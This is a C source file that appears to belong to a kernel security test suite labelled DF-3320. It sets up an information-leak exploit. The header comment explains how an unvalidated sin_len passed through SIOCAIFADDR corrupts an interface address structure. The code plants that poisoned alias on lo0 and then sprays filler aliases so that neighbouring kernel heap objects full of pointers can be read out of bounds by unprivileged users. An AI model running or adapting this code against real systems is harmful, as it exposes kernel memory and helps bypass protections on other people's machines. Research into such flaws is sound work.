DF-3320 / setup.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-3320 setup (run as ROOT): persist an attacker-chosen sin_len into a * live struct in_ifaddr via SIOCAIFADDR on lo0. * * in_control_internal() -> SIOCAIFADDR -> in_ifinit() does * * ia->ia_addr = *sin; (sys/netinet/in.c:998) * * copying the user sockaddr verbatim, including sin_len -- there is no * sin_len validation anywhere on the SIOCSIFADDR/SIOCAIFADDR path. * For a loopback interface in_ifinit() also does * * ia->ia_dstaddr = ia_addr; (sys/netinet/in.c:1062-1063) * * so the bogus length propagates into ifa_dstaddr as well. * * The malformed ia_addr (sin_len = 200, a 360-byte heap object with * ia_addr at offset 312) is then handed to unprivileged consumers that * trust sa_len as a copy length: * - ifconf() sys/net/if.c:2590-2592 (SIOCGIFCONF, no priv check) * - rtsock.c RT_ROUNDUP(sa->sa_len) copies into route sockets * reading up to 152 bytes past the end of the in_ifaddr allocation. * * This step models the "privileged misconfiguration" (same threat model * as DF-3318): root (or a buggy config tool feeding root) supplies the * garbage sin_len once; every local user can then trigger the leak. * * Build: cc -O -o setup setup.c * Run: ./setup (as root) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> static int add_alias(int s, const char *ifname, in_addr_t a, u_char sin_len) { struct ifaliasreq ifra; struct sockaddr_in *sin; memset(&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name)); sin = (struct sockaddr_in *)&ifra.ifra_addr; sin->sin_family = AF_INET; sin->sin_len = sin_len; /* NOT validated by the kernel */ sin->sin_addr.s_addr = a; /* sane /8 netmask, normal length */ sin = (struct sockaddr_in *)&ifra.ifra_mask; sin->sin_family = AF_INET; sin->sin_len = sizeof(struct sockaddr_in); sin->sin_addr.s_addr = htonl(0xff000000U); /* ifra_broadaddr family 0 -> not touched for lo0 (not p2p/bcast) */ if (ioctl(s, SIOCAIFADDR, &ifra) < 0) { fprintf(stderr, "SIOCAIFADDR(%s, len=%u): %s\n", ifname, sin_len, strerror(errno)); return (-1); } return (0); } int main(int argc, char **argv) { const char *ifname = (argc > 1) ? argv[1] : "lo0"; int s, i; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } /* the poisoned ifaddr: sin_len = 200 (> sizeof(struct sockaddr_in)) */ if (add_alias(s, ifname, inet_addr("127.200.0.200"), 200) < 0) exit(1); printf("poisoned alias added: %s 127.200.0.200 sin_len=200\n", ifname); /* * Filler aliases with normal lengths: fresh in_ifaddr allocations * that land adjacent in the same slab, giving the out-of-bounds * read deterministic, pointer-rich neighbours (each begins with a * struct ifaddr full of kernel heap pointers). */ for (i = 1; i <= 5; i++) { char ip[32]; snprintf(ip, sizeof(ip), "127.200.0.%d", 200 + i); if (add_alias(s, ifname, inet_addr(ip), sizeof(struct sockaddr_in)) < 0) exit(1); } printf("filler aliases added: 127.200.0.201..205 sin_len=16\n"); printf("SETUP-OK\n"); return (0); } |